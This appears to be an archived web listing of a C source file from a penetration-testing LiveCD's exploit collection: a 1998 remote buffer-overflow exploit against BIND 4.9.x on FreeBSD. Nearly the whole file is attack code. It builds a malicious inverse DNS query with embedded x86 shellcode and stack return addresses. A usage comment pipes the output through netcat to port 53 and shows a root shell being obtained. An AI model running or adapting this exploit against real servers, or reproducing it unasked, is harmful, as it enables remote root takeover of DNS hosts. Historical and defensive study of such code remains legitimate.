home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / bind49bsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  135 lines

  1. /*
  2.   remote bind 4.9.x exploit Example for FreeBSD (do not use!.)
  3.   28-Apr-1998 by stran9er
  4.   credits: bof-test.c written solely by Joshua J. Drake (jdrake@pulsar.net) 
  5.   bug in: bind/named/ns_req.c:req_inquery()
  6. */
  7. /*
  8.   offsets: 4.9.6     min =  0        options fake-iquery
  9.            4.9.6-REL min = -100
  10.            8.1.1     min =  400        [ fake-iquery yes; ]
  11. */
  12. /*
  13.  Usage example:
  14.   $ (./exploit 0 /bin/sh -c 'exec sh -i <&4 >&4 2>&4';cat) | nc localhost 53                                                                             
  15.   Adress: 0xefbfd444 Offset: 0                                                    
  16.   sh: can't access tty; job control turned off                                    
  17.   # whoami
  18.   root
  19.   #
  20. */
  21. #define QUERY_LEN 0x600
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <sys/types.h>
  27. #include <netinet/in.h>
  28. #include <unistd.h>
  29. #include <arpa/nameser.h>
  30.  
  31. typedef struct
  32.   {
  33.     unsigned short int    r_class;        /* class number */
  34.     unsigned short int    r_type;            /* type number */
  35.     unsigned long int    r_ttl;            /* time to live */
  36.     unsigned short int    r_size;            /* size of data area */
  37.     char    r_data[QUERY_LEN];            /* pointer to data */
  38.   }
  39. rrecord;
  40.  
  41. char shellc[] = "\xEB\x4b\x5E\x33\xD2\x33\xC9\x33\xDB\x66\x8B\x04\x0E\x02"
  42.                 "\xC4\x88\x04\x16\x41\x41\x42\x22\xC0\x75\xF0\x02\xE4\x74\x0E\x8D\x04\x16"
  43.                 "\x89\x04\x1E\x43\x43\x43\x43\xEB\xE0\x90\x90\x33\xC0\x89\x04\x1E\x46\x88"
  44.                 "\x46\x0E\x46\x46\x46\x89\x46\x06\xB0\x3B\x8D\x4E\x10\x8B\x5E\x10\x8B\xD1"
  45.                 "\x8D\x76\x05\x52\x51\x53\x50\xFF\xE6\xE8\xB0\xFF\xFF\xFF\x6f\x21\x6f\x21"
  46.                 "\x6f\x21\xdf\x21\x6f\x21\x6f\x21\x6f\x21\xdf\x21\xdf\x21\x8B\x0F\x8B\x0F"
  47.                 "\x8B\x0F\xdf\x21\x8B\x0F\x02\x05\x8B\x0F\x6f\x21\x6f\x21\x6f\x21\xdf\x21";
  48. char neshel1[] = "\x11\x11\x11\x11\x11\x11\x11\x11"; /* shellcode by   */
  49. char neshel2[] = "\x22\x22\x22\x22\x22\x22\xdf\x21"; /* stran9er 10'97 */
  50.  
  51. main(int argc, char **argv)
  52. {
  53.   HEADER *h;
  54.   rrecord *rr;
  55.   char db[sizeof(HEADER)+sizeof(rrecord)+2];
  56.   char *buf, *ptr;
  57.   unsigned char cat[]="no";
  58.   short int *buflen;
  59.   unsigned long stack = 0xefbfd444, offset;
  60.   int sh=1024,o,b,c,t;
  61.  
  62.   if ( (argc<3) || (*argv[2]!='/'))
  63.     {
  64.       printf ("usage %s offset /path/command [args ...] | netcat target 53\n",argv[0]);
  65.       exit(1);
  66.     }
  67.   offset=atoi(argv[1]);
  68.   stack+=offset;
  69.   fprintf(stderr,"\nAdress: 0x%x Offset: %d\n",stack, offset);
  70.   buf=db;
  71.   memset(buf, 0, sizeof(db));
  72.   buflen=(short int *)buf;
  73.   *buflen=htons(sizeof(db)-2);
  74.   h = (HEADER *)(buf+2);
  75.   h->id = rand() & 0xfff;
  76.   h->opcode = IQUERY;
  77.   h->ancount = htons(1);
  78.   rr=(rrecord *)((char *)h+sizeof(HEADER)+1);
  79.   rr->r_class= htons(C_IN);
  80.   rr->r_type = htons(T_A);
  81.   rr->r_ttl  = htonl(31337);
  82.   rr->r_size = htons(QUERY_LEN+1);
  83.   ptr=rr->r_data+1;
  84.   memset(ptr,0x90,QUERY_LEN);
  85.   ptr[498]=0xeb;
  86.   ptr[498+1]=21; /* damn: sprintf(dnbuf, "[%s]", inet_ntoa(data_inaddr((u_char *)data))); */
  87.   for(c=sh;c<=(QUERY_LEN-4);)
  88.     {
  89.       if ((c+4) > (QUERY_LEN-4)) stack +=4;
  90.       ptr[c++] =  stack & 0x000000ff;
  91.       ptr[c++] = (stack & 0x0000ff00) >> 8;
  92.       ptr[c++] = (stack & 0x00ff0000) >> 16;
  93.       ptr[c++] = (stack & 0xff000000) >> 24;
  94.     }
  95.   strcpy(ptr+sh,shellc);
  96.   for (b=2;b<argc;b++) strcat(ptr,neshel1);
  97.   strcat(ptr,neshel2);
  98.   for (b=2;b<argc;b++)
  99.     {
  100.       for (c=0;c<strlen(argv[b]);c++)
  101.         {
  102.           cat[0]=argv[b][c]-'Z';
  103.           cat[1]='Z';
  104.           if (!cat[0]) break;
  105.           for (t=0,o=-1;t!=o;)
  106.             {
  107.               o=t;
  108.               if ((cat[0]!=0) && (cat[0]<=32))
  109.                 {
  110.                   cat[0]++;
  111.                   cat[1]--;
  112.                   t++;
  113.                 }
  114.               if (cat[1]<=32)
  115.                 {
  116.                   cat[0]++;
  117.                   cat[1]--;
  118.                   t++;
  119.                 }
  120.               if   (!cat[0])
  121.                 {
  122.                   fprintf (stderr,"can't encode command line\n") ;
  123.                   exit(1);
  124.                 }
  125.             }
  126.           strcat(ptr,(char *)cat);
  127.         }
  128.       if ( b != (argc - 1) ) strcat (ptr,"\xf0\x10");
  129.     }
  130.   strcat(ptr,"\x80\x80");
  131.   ptr[strlen(ptr)]=9;
  132.  
  133.   write(1,buf,sizeof(db));
  134. }
  135. /*                    www.hack.co.za              [2000]*/